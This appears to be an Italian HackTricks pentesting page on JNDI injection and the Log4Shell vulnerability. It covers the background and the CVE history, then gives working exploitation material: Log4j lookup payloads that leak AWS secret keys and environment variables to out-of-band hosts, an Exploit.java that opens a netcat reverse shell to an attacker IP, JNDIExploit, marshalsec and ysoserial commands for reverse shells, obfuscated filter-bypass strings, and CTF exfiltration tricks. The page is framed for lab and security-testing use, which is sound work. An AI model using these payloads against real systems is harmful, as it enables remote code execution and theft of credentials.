JNDI - Java Naming and Directory Interface & Log4Shell

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Try Hard Security Group


Informazioni di Base

JNDI, integrato in Java dagli anni '90, funge da servizio di directory, consentendo ai programmi Java di individuare dati o oggetti attraverso un sistema di denominazione. Supporta vari servizi di directory tramite interfacce dei provider di servizi (SPI), consentendo il recupero di dati da diversi sistemi, inclusi oggetti Java remoti. Gli SPI comuni includono CORBA COS, Registro Java RMI e LDAP.

Riferimento di Denominazione JNDI

Gli oggetti Java possono essere memorizzati e recuperati utilizzando i Riferimenti di Denominazione JNDI, che si presentano in due forme:

  • Indirizzi di Riferimento: Specifica la posizione di un oggetto (ad es., rmi://server/ref), consentendo il recupero diretto dall'indirizzo specificato.

  • Fabbrica Remota: Fa riferimento a una classe di fabbrica remota. Quando accessa, la classe viene scaricata e istanziata dalla posizione remota.

Tuttavia, questo meccanismo può essere sfruttato, portando potenzialmente al caricamento ed esecuzione di codice arbitrario. Come contromisura:

  • RMI: java.rmi.server.useCodeabseOnly = true di default da JDK 7u21, limitando il caricamento di oggetti remoti. Un Security Manager limita ulteriormente ciò che può essere caricato.

  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false di default da JDK 6u141, 7u131, 8u121, bloccando l'esecuzione di oggetti Java caricati da remoto. Se impostato su true, l'esecuzione di codice remoto è possibile senza supervisione di un Security Manager.

  • CORBA: Non ha una proprietà specifica, ma il Security Manager è sempre attivo.

Tuttavia, il Naming Manager, responsabile della risoluzione dei collegamenti JNDI, manca di meccanismi di sicurezza integrati, consentendo potenzialmente il recupero di oggetti da qualsiasi origine. Ciò costituisce un rischio poiché le protezioni RMI, LDAP e CORBA possono essere aggirate, portando al caricamento di oggetti Java arbitrari o allo sfruttamento di componenti dell'applicazione esistenti (gadget) per eseguire codice dannoso.

Esempi di URL sfruttabili includono:

  • rmi://server-attaccante/bar

  • ldap://server-attaccante/bar

  • iiop://server-attaccante/bar

Nonostante le protezioni, rimangono vulnerabilità, principalmente a causa della mancanza di salvaguardie contro il caricamento di JNDI da fonti non attendibili e della possibilità di aggirare le protezioni esistenti.

Esempio JNDI

Anche se hai impostato un PROVIDER_URL, puoi indicarne uno diverso in una ricerca e verrà accessato: ctx.lookup("<url-controllato-dall'attaccante>") ed è ciò che un attaccante sfrutterà per caricare oggetti arbitrari da un sistema controllato da lui.

Panoramica CORBA

CORBA (Common Object Request Broker Architecture) impiega un Riferimento a Oggetto Interoperabile (IOR) per identificare in modo univoco gli oggetti remoti. Questo riferimento include informazioni essenziali come:

  • ID Tipo: Identificatore univoco per un'interfaccia.

  • Codebase: URL per ottenere la classe stub.

In particolare, CORBA non è intrinsecamente vulnerabile. Garantire la sicurezza coinvolge tipicamente:

  • Installazione di un Security Manager.

  • Configurazione del Security Manager per consentire connessioni a codebase potenzialmente dannose. Ciò può essere realizzato attraverso:

  • Permesso di socket, ad es., permissions java.net.SocketPermission "*:1098-1099", "connect";.

  • Permessi di lettura file, universalmente (permission java.io.FilePermission "<<TUTTI I FILE>>", "read";) o per directory specifiche dove potrebbero essere inseriti file dannosi.

Tuttavia, alcune politiche dei fornitori potrebbero essere permissive e consentire queste connessioni per impostazione predefinita.

Contesto RMI

Per RMI (Remote Method Invocation), la situazione è in parte diversa. Come con CORBA, il download arbitrario di classi è limitato per impostazione predefinita. Per sfruttare RMI, tipicamente si dovrebbe aggirare il Security Manager, un'impresa rilevante anche in CORBA.

LDAP

Innanzitutto, dobbiamo distinguere tra una Ricerca e una Consultazione. Una ricerca utilizzerà un URL come ldap://localhost:389/o=JNDITutorial per trovare l'oggetto JNDITutorial da un server LDAP e recuperarne gli attributi. Una consultazione è destinata ai servizi di denominazione poiché vogliamo ottenere qualunque cosa sia legata a un nome.

Se la ricerca LDAP è stata invocata con SearchControls.setReturningObjFlag() con true, l'oggetto restituito verrà ricostruito.

Pertanto, ci sono diversi modi per attaccare queste opzioni. Un attaccante può avvelenare i record LDAP introducendo payload su di essi che verranno eseguiti nei sistemi che li raccolgono (molto utile per compromettere decine di macchine se si ha accesso al server LDAP). Un altro modo per sfruttare ciò sarebbe eseguire un attacco MitM in una ricerca LDAP, ad esempio.

Nel caso in cui si possa far risolvere un'applicazione un URL LDAP JNDI, è possibile controllare l'LDAP che verrà cercato e potresti inviare l'exploit indietro (log4shell).

Sfruttamento della Deserializzazione

L'exploit è serializzato e verrà deserializzato. Nel caso in cui trustURLCodebase sia true, un attaccante può fornire le proprie classi nella codebase, altrimenti dovrà sfruttare gadget nel classpath.

Sfruttamento del Riferimento JNDI

È più semplice attaccare questo LDAP utilizzando riferimenti JavaFactory:

Vulnerabilità Log4Shell

La vulnerabilità è introdotta in Log4j perché supporta una sintassi speciale nella forma ${prefisso:nome} dove prefisso è uno dei diversi Lookups dove nome dovrebbe essere valutato. Ad esempio, ${java:version} è la versione attualmente in esecuzione di Java.

LOG4J2-313 ha introdotto una funzionalità di jndi Lookup. Questa funzionalità consente il recupero di variabili tramite JNDI. Tipicamente, la chiave è automaticamente prefissata con java:comp/env/. Tuttavia, se la chiave stessa include un ":", questo prefisso predefinito non viene applicato.

Con un : presente nella chiave, come in ${jndi:ldap://esempio.com/a}, non c'è nessun prefisso e il server LDAP viene interrogato per l'oggetto. E questi Lookups possono essere utilizzati sia nella configurazione di Log4j che quando vengono registrate le righe.

Pertanto, l'unica cosa necessaria per ottenere RCE è una versione vulnerabile di Log4j che elabora informazioni controllate dall'utente. E poiché questa è una libreria ampiamente utilizzata dalle applicazioni Java per registrare informazioni (inclusi le applicazioni esposte su Internet), era molto comune avere log4j che registrava ad esempio gli header HTTP ricevuti come l'User-Agent. Tuttavia, log4j non viene utilizzato solo per registrare informazioni HTTP ma qualsiasi input e dati indicati dallo sviluppatore.

Panoramica delle CVE correlate a Log4Shell

CVE-2021-44228 [Critico]

Questa vulnerabilità è una grave falla di serializzazione non attendibile nel componente log4j-core, che interessa le versioni da 2.0-beta9 a 2.14.1. Consente l'esecuzione remota di codice (RCE), consentendo agli attaccanti di prendere il controllo dei sistemi. Il problema è stato segnalato da Chen Zhaojun del team di sicurezza di Alibaba Cloud e interessa vari framework Apache. La correzione iniziale nella versione 2.15.0 era incompleta. Sono disponibili regole Sigma per la difesa (Regola 1, Regola 2).

CVE-2021-45046 [Critico]

Inizialmente classificata come bassa ma successivamente aggiornata a critica, questa CVE è una falla di Denial of Service (DoS) derivante da una correzione incompleta nella versione 2.15.0 per la CVE-2021-44228. Interessa configurazioni non predefinite, consentendo agli attaccanti di causare attacchi DoS attraverso payload articolati. Un tweet mostra un metodo di bypass. Il problema è risolto nelle versioni 2.16.0 e 2.12.2 rimuovendo i pattern di ricerca dei messaggi e disabilitando JNDI per impostazione predefinita.

Interessando le versioni Log4j 1.x in configurazioni non predefinite che utilizzano JMSAppender, questa CVE è una falla di serializzazione non attendibile. Non è disponibile alcuna correzione per il ramo 1.x, che è fuori produzione, ed è consigliabile l'aggiornamento a log4j-core 2.17.0.

CVE-2021-42550 [Moderato]

Questa vulnerabilità interessa il framework di logging Logback, successore di Log4j 1.x. In precedenza ritenuto sicuro, il framework è stato trovato vulnerabile e sono state rilasciate nuove versioni (1.3.0-alpha11 e 1.2.9) per affrontare il problema.

CVE-2021-45105 [Alto]

Log4j 2.16.0 contiene una falla DoS, che ha portato al rilascio di log4j 2.17.0 per correggere la CVE. Ulteriori dettagli sono presenti nel report di BleepingComputer.

Interessando la versione log4j 2.17, questa CVE richiede all'attaccante di controllare il file di configurazione di log4j. Coinvolge potenziali esecuzioni di codice arbitrario tramite un JDBCAppender configurato. Ulteriori dettagli sono disponibili nel post del blog di Checkmarx.

Sfruttamento di Log4Shell

Scoperta

Questa vulnerabilità è molto facile da scoprire se non protetta perché invierà almeno una richiesta DNS all'indirizzo che indichi nel tuo payload. Pertanto, payload come:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (utilizzando canarytokens.com)

  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (utilizzando interactsh)

  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (utilizzando Burp Suite)

  • ${jndi:ldap://2j4ayo.dnslog.cn} (utilizzando dnslog)

  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} utilizzando (utilizzando huntress)

Nota che anche se viene ricevuta una richiesta DNS ciò non significa che l'applicazione sia sfruttabile (o addirittura vulnerabile), sarà necessario provare a sfruttarla.

Ricorda che per sfruttare la versione 2.15 è necessario aggiungere il bypass del controllo localhost: ${jndi:ldap://127.0.0.1#...}

Scoperta Locale

Cerca le versioni vulnerabili locali della libreria con:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Verifica

Alcune delle piattaforme elencate in precedenza ti permetteranno di inserire alcuni dati variabili che verranno registrati quando richiesti. Questo può essere molto utile per 2 cose:

  • Per verificare la vulnerabilità

  • Per esfiltrare informazioni sfruttando la vulnerabilità

Ad esempio, potresti richiedere qualcosa del genere: o come ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} e se viene ricevuta una richiesta DNS con il valore della variabile di ambiente, sai che l'applicazione è vulnerabile.

Altre informazioni che potresti provare a leakare:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

Informazioni RCE

Gli host che eseguono versioni JDK superiori a 6u141, 7u131 o 8u121 sono protetti dal vettore di attacco del caricamento di classi LDAP. Ciò è dovuto alla disattivazione predefinita di com.sun.jndi.ldap.object.trustURLCodebase, che impedisce a JNDI di caricare un codebase remoto tramite LDAP. Tuttavia, è fondamentale notare che queste versioni non sono protette contro il vettore di attacco alla deserializzazione.

Per gli attaccanti che mirano a sfruttare queste versioni JDK più recenti, è necessario sfruttare un gadget fidato all'interno dell'applicazione Java. Strumenti come ysoserial o JNDIExploit vengono spesso utilizzati a questo scopo. Al contrario, sfruttare versioni JDK inferiori è relativamente più semplice poiché è possibile manipolare tali versioni per caricare ed eseguire classi arbitrarie.

Per ulteriori informazioni (come limitazioni sui vettori RMI e CORBA) controlla la sezione precedente del riferimento alla denominazione JNDI o https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/

RCE - Marshalsec con payload personalizzato

Puoi testare questo nel box THM: https://tryhackme.com/room/solar

Utilizza lo strumento marshalsec (versione jar disponibile qui). Questo approccio stabilisce un server di rinvio LDAP per reindirizzare le connessioni a un server HTTP secondario dove sarà ospitato lo sfruttamento:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Per richiedere al bersaglio di caricare un codice shell inversa, crea un file Java chiamato Exploit.java con il seguente contenuto:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Compila il file Java in un file di classe usando: javac Exploit.java -source 8 -target 8. Successivamente, avvia un server HTTP nella directory contenente il file di classe con: python3 -m http.server. Assicurati che il server LDAP marshalsec faccia riferimento a questo server HTTP.

Scatena l'esecuzione della classe di exploit sul server web suscettibile inviando un payload simile a:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Nota: Questo exploit si basa sulla configurazione di Java per consentire il caricamento del codice remoto tramite LDAP. Se ciò non è permesso, considera di sfruttare una classe attendibile per l'esecuzione di codice arbitrario.

RCE - JNDIExploit

Nota che per qualche motivo l'autore ha rimosso questo progetto da github dopo la scoperta di log4shell. Puoi trovare una versione memorizzata nella cache su https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 ma se desideri rispettare la decisione dell'autore utilizza un metodo diverso per sfruttare questa vulnerabilità.

Inoltre, non è possibile trovare il codice sorgente nel wayback machine, quindi o analizza il codice sorgente, o esegui il file jar sapendo che non sai cosa stai eseguendo.

Per questo esempio puoi semplicemente eseguire questo server web vulnerabile a log4shell sulla porta 8080: https://github.com/christophetd/log4shell-vulnerable-app (nel README troverai come eseguirlo). Questa app vulnerabile sta registrando con una versione vulnerabile di log4shell il contenuto dell'intestazione della richiesta HTTP X-Api-Version.

Successivamente, puoi scaricare il file jar di JNDIExploit ed eseguirlo con:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Dopo aver letto il codice solo un paio di minuti, in com.feihong.ldap.LdapServer e com.feihong.ldap.HTTPServer puoi vedere come vengono creati i server LDAP e HTTP. Il server LDAP capirà quale payload deve essere servito e reindirizzerà la vittima al server HTTP, che eseguirà l'exploit. In com.feihong.ldap.gadgets puoi trovare alcuni gadget specifici che possono essere utilizzati per eseguire l'azione desiderata (potenzialmente eseguire codice arbitrario). E in com.feihong.ldap.template puoi vedere le diverse classi di template che genereranno gli exploit.

Puoi vedere tutti gli exploit disponibili con java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Alcuni utili sono:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Quindi, nel nostro esempio, abbiamo già quell'applicazione vulnerabile Docker in esecuzione. Per attaccarla:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Quando invii gli attacchi, vedrai un output nel terminale dove hai eseguito JNDIExploit-1.2-SNAPSHOT.jar.

Ricorda di controllare java -jar JNDIExploit-1.2-SNAPSHOT.jar -u per altre opzioni di exploit. Inoltre, nel caso ne avessi bisogno, puoi cambiare la porta dei server LDAP e HTTP.

RCE - JNDI-Exploit-Kit

In modo simile all'exploit precedente, puoi provare a utilizzare JNDI-Exploit-Kit per sfruttare questa vulnerabilità. Puoi generare gli URL da inviare alla vittima eseguendo:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

L'attacco utilizzando un oggetto Java generato su misura funzionerà nei laboratori come la stanza solare di THM. Tuttavia, questo non funzionerà generalmente (poiché di default Java non è configurato per caricare una codebase remota utilizzando LDAP) penso perché non sta abusando di una classe fidata per eseguire codice arbitrario.

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus è un altro strumento per generare link JNDI funzionanti e fornire servizi di background avviando server RMI, server LDAP e server HTTP.\

RCE - ysoserial & JNDI-Exploit-Kit

Questa opzione è davvero utile per attaccare versioni di Java configurate per fidarsi solo di classi specificate e non di tutti. Pertanto, ysoserial verrà utilizzato per generare serializzazioni di classi fidate che possono essere utilizzate come gadget per eseguire codice arbitrario (la classe fidata abusata da ysoserial deve essere utilizzata dal programma Java vittima affinché l'exploit funzioni).

Utilizzando ysoserial o ysoserial-modified è possibile creare l'exploit di deserializzazione che verrà scaricato da JNDI:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Usa JNDI-Exploit-Kit per generare collegamenti JNDI dove l'exploit sarà in attesa di connessioni dalle macchine vulnerabili. Puoi servire diversi exploit che possono essere generati automaticamente dal JNDI-Exploit-Kit o anche i tuoi payload di serializzazione personalizzati (generati da te o da ysoserial).

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Ora puoi facilmente utilizzare un link JNDI generato per sfruttare la vulnerabilità e ottenere una shell inversa inviando a una versione vulnerabile di log4j: ${ldap://10.10.14.10:1389/generated}

Bypasses

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Scanner Automatici

Laboratori per il Test

Sfruttamento Post-Log4Shell

In questo writeup CTF è ben spiegato come sia potenzialmente possibile abusare alcune funzionalità di Log4J.

La pagina di sicurezza di Log4j contiene alcune frasi interessanti:

Dalla versione 2.16.0 (per Java 8), la funzionalità di message lookups è stata completamente rimossa. I lookups nella configurazione continuano a funzionare. Inoltre, Log4j ora disabilita l'accesso a JNDI per impostazione predefinita. I lookups JNDI nella configurazione devono ora essere abilitati esplicitamente.

Dalla versione 2.17.0, (e 2.12.3 e 2.3.1 per Java 7 e Java 6), solo le stringhe di lookup nella configurazione vengono espanso ricorsivamente; in qualsiasi altro utilizzo, solo il lookup di livello superiore viene risolto, e eventuali lookups nidificati non vengono risolti.

Ciò significa che per impostazione predefinita è impossibile utilizzare qualsiasi exploit jndi. Inoltre, per eseguire lookups ricorsivi è necessario averli configurati.

Ad esempio, in quel CTF questo era configurato nel file log4j2.xml:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Ricerche Env

In questo CTF l'attaccante controllava il valore di ${sys:cmd} e doveva esfiltrare la flag da una variabile d'ambiente. Come visto in questa pagina nei payloads precedenti ci sono diversi modi per accedere alle variabili d'ambiente, come ad esempio: ${env:FLAG}. In questo CTF questo era inutile ma potrebbe non esserlo in altri scenari reali.

Esfiltrazione tramite Eccezioni

Nel CTF, non si poteva accedere allo stderr dell'applicazione Java utilizzando log4J, ma le eccezioni di Log4J vengono inviate a stdout, che veniva stampato nell'applicazione Python. Ciò significava che scatenando un'eccezione potevamo accedere al contenuto. Un'eccezione per esfiltrare la flag era: ${java:${env:FLAG}}. Questo funziona perché ${java:CTF{blahblah}} non esiste e verrà mostrata un'eccezione con il valore della flag:

Eccezioni dei Pattern di Conversione

Solo per menzionarlo, potevi anche iniettare nuovi pattern di conversione e scatenare eccezioni che verranno registrate su stdout. Per esempio:

Questo non è risultato utile per esfiltrare dati all'interno del messaggio di errore, perché la ricerca non era risolta prima del pattern di conversione, ma potrebbe essere utile per altre cose come il rilevamento.

Pattern di Conversione Regex

Tuttavia, è possibile utilizzare alcuni pattern di conversione che supportano le regex per esfiltrare informazioni da una ricerca utilizzando regex e abusando dei comportamenti di ricerca binaria o basati sul tempo.

  • Ricerca binaria tramite messaggi di eccezione

Il pattern di conversione %replace può essere usato per sostituire contenuti da una stringa anche utilizzando regex. Funziona così: replace{pattern}{regex}{sostituzione} Abusando di questo comportamento potresti fare in modo che la sostituzione scateni un'eccezione se il regex corrisponde a qualcosa all'interno della stringa (e nessuna eccezione se non viene trovato) in questo modo:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Basato sul tempo

Come è stato menzionato nella sezione precedente, %replace supporta le espressioni regolari. Quindi è possibile utilizzare un payload dalla pagina ReDoS per causare un timeout nel caso in cui il flag venga trovato. Ad esempio, un payload come %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} scatenerebbe un timeout in quel CTF.

In questo writeup, invece di utilizzare un attacco ReDoS, è stato utilizzato un attacco di amplificazione per causare una differenza di tempo nella risposta:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Se il flag inizia con flagGuess, l'intero flag viene sostituito con 29 # (ho usato questo carattere perché probabilmente non fa parte del flag). Ciascuno dei 29 # risultanti viene poi sostituito con 54 #. Questo processo viene ripetuto 6 volte, portando a un totale di 29*54*54^6* =`` ``96816014208 #!

Sostituire così tanti # causerà il timeout di 10 secondi dell'applicazione Flask, che a sua volta comporterà l'invio del codice di stato HTTP 500 all'utente. (Se il flag non inizia con flagGuess, riceveremo un codice di stato diverso da 500)

Riferimenti

Try Hard Security Group

Impara l'hacking AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated